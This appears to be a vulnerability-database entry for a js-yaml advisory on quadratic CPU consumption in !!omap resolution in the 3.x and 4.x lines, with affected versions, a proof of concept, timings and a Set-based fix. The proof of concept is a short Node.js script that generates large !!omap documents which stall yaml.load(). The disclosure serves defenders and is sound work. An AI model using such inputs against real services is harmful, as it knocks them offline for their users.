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high 7.5

GHSA-5p4m-2wfm-xmqj json

JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported

published 3mo ago modified 2mo ago

cvss
7.5
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x)

## Summary

`resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear scan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution **O(n²)** in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside `yaml.load()`, giving a denial of service against any consumer that parses untrusted YAML.

`!!omap` is registered in the **default schema** (`lib/schema/default.js` → `require('../type/omap')`), so a plain `yaml.load(untrustedInput)` with no options is affected — no custom schema or non-default configuration is required.

**This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation.

## Affected versions

| Line | Latest tested | Status | |---|---|---| | 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` | | 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` | | 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) |

Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue.

## Details

`lib/type/omap.js` (js-yaml 4.3.0):

```js if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey) else return false ```

`objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a linear scan, so resolving an `n`-entry `!!omap` performs roughly `1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously inside `yaml.load()`, blocking the event loop for its whole duration.

The 5.x line already solves exactly this by tracking seen keys in a `Set` (`src/tag/sequence/omap.ts`):

```ts if (carrier.seen.has(key)) return 'duplicate key in ordered map' carrier.seen.add(key) ```

## Proof of concept

```js // poc.js — node poc.js const yaml = require('js-yaml'); const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';

for (const n of [10000, 20000, 40000, 80000]) { const d = doc(n), t = Date.now(); yaml.load(d); // default schema, no options console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`); } ```

### Measured (node v20.20.2, default heap, no flags)

**js-yaml 4.3.0**

``` n=10000 bytes=137787 load=54ms n=20000 bytes=297787 load=169ms n=40000 bytes=617787 load=646ms n=80000 bytes=1257787 load=2607ms ```

**js-yaml 3.15.0**

``` n=10000 bytes=137787 load=53ms n=20000 bytes=297787 load=166ms n=40000 bytes=617787 load=641ms n=80000 bytes=1257787 load=2567ms ```

Runtime grows by a factor of ~4 for each doubling of `n`, which is the signature of O(n²) (linear growth would be ~2×).

Scaling further: a **2.48 MB** document with 150,000 entries blocked `yaml.load()` for **10.8 seconds**.

## Impact

Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request.

Suggested severity: consistent with **CVE-2026-59870** (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required.

## Suggested fix

Mirror the 5.x fix — replace the linear scan with a `Set`:

```js // lib/type/omap.js const seen = new Set() // ... if (seen.has(pairKey)) return false seen.add(pairKey) ```

This preserves the existing duplicate-key rejection semantics exactly while making resolution O(n). A `maxOmapLength`-style cap would also work, but the `Set` matches what 5.x already ships and requires no new option.

## References

- CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1 - `lib/type/omap.js` (3.x, 4.x) — the affected resolver - `lib/schema/default.js` — registers `!!omap` in the default schema

## Discovery

Found by an automated static-analysis and executed-proof-of-concept scanner run against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by executing the proof of concept above. All timings in this report were measured on the **current** releases of each line, not on the version originally scanned.

Patch / fix

  • npm js-yaml 3.15.1, 4.3.1

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CVSS scores

assigned by version score vector
GitHub 3.1 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected packages

ecosystem package affected fixed in
npm js-yaml
>=4.0.0, <4.3.1
>=3.0.0, <3.15.1
4.3.1
3.15.1

Classification

Weakness
  • CWE-407 Inefficient Algorithmic Complexity

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.

The maintainers of nodeca/js-yaml published their own advisory on GitHub. Reviewed sources take precedence over it.